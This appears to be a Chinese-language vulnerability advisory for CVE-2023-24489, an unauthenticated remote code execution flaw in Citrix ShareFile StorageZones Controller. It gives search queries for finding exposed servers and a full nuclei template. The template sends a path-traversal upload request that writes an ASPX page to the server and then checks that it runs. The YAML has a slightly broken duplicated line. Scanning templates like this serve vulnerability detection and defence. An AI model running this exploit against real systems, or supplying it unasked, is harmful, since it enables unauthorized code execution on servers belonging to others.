Citrix ShareFile StorageZones Controller 远程代码执行漏洞

漏洞信息

漏洞名称： Citrix ShareFile StorageZones Controller 远程代码执行漏洞

漏洞编号：

• CVE： CVE-2023-24489

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： Citrix ShareFile StorageZones Controller是Citrix提供的一个企业级文件共享和同步解决方案，广泛应用于企业环境中，用于安全地存储、同步和共享文件。该产品支持客户管理的存储区域，为企业提供了高度的灵活性和控制能力。

该漏洞是一个未经身份验证的远程代码执行漏洞，技术根源在于对用户输入的不当处理，特别是在处理文件上传请求时，攻击者可以通过构造特殊的HTTP请求，利用路径遍历漏洞上传恶意文件到服务器上的任意位置，从而执行任意代码。这种漏洞的利用不需要任何形式的身份验证，使得攻击者可以轻易地远程控制受影响的系统。

成功利用此漏洞的攻击者可以在受影响的系统上执行任意代码，完全控制系统，进而可能导致敏感数据泄露、服务中断或其他恶意活动。由于漏洞的严重性和易用性，它被标记为CVSS评分9.8（严重级别），且已被列入已知被利用漏洞目录。企业应立即应用Citrix提供的安全补丁或更新，以防范潜在的攻击。

产品厂商： Citrix

产品名称： ShareFile StorageZones Controller

影响版本： *

搜索语法： title=”sharefile storage server”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fcves%2F2023%2FCVE-2023-24489.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2023-24489

info:
  name: Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution
  author: DhiyaneshDK,dwisiswant0
  severity: critical
  description: |
    A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24489
    - https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/
    - https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489
    - https://github.com/20142995/sectool
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24489
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.94389
    epss-percentile: 0.99965
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 257
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query:
      - title:"ShareFile Storage Server"
      - http.title:"sharefile storage server"
    fofa-query: title="sharefile storage server"
    google-query: intitle:"sharefile storage server"
  tags: cve2023,cve,sharefile,rce,intrusive,fileupload,fuzz,kev,citrix
variables:
  fileName: '{{rand_base(8)}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "ShareFile Storage Server"
          - "ShareFile"
          - "documentum"
        condition: or
        internal: true

  - raw:
  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
        Host: {{Hostname}}

        <%@ Page Language="C#" Debug="true" Trace="false" %>
        <script Language="c#" runat="server">
        void Page_Load(object sender, EventArgs e)
        {
            Response.Write("{{randstr}}");
        }
        </script>

    payloads:
      padding: helpers/payloads/citrix_paddings.txt
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'body == "ERROR: The method or operation is not implemented."'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
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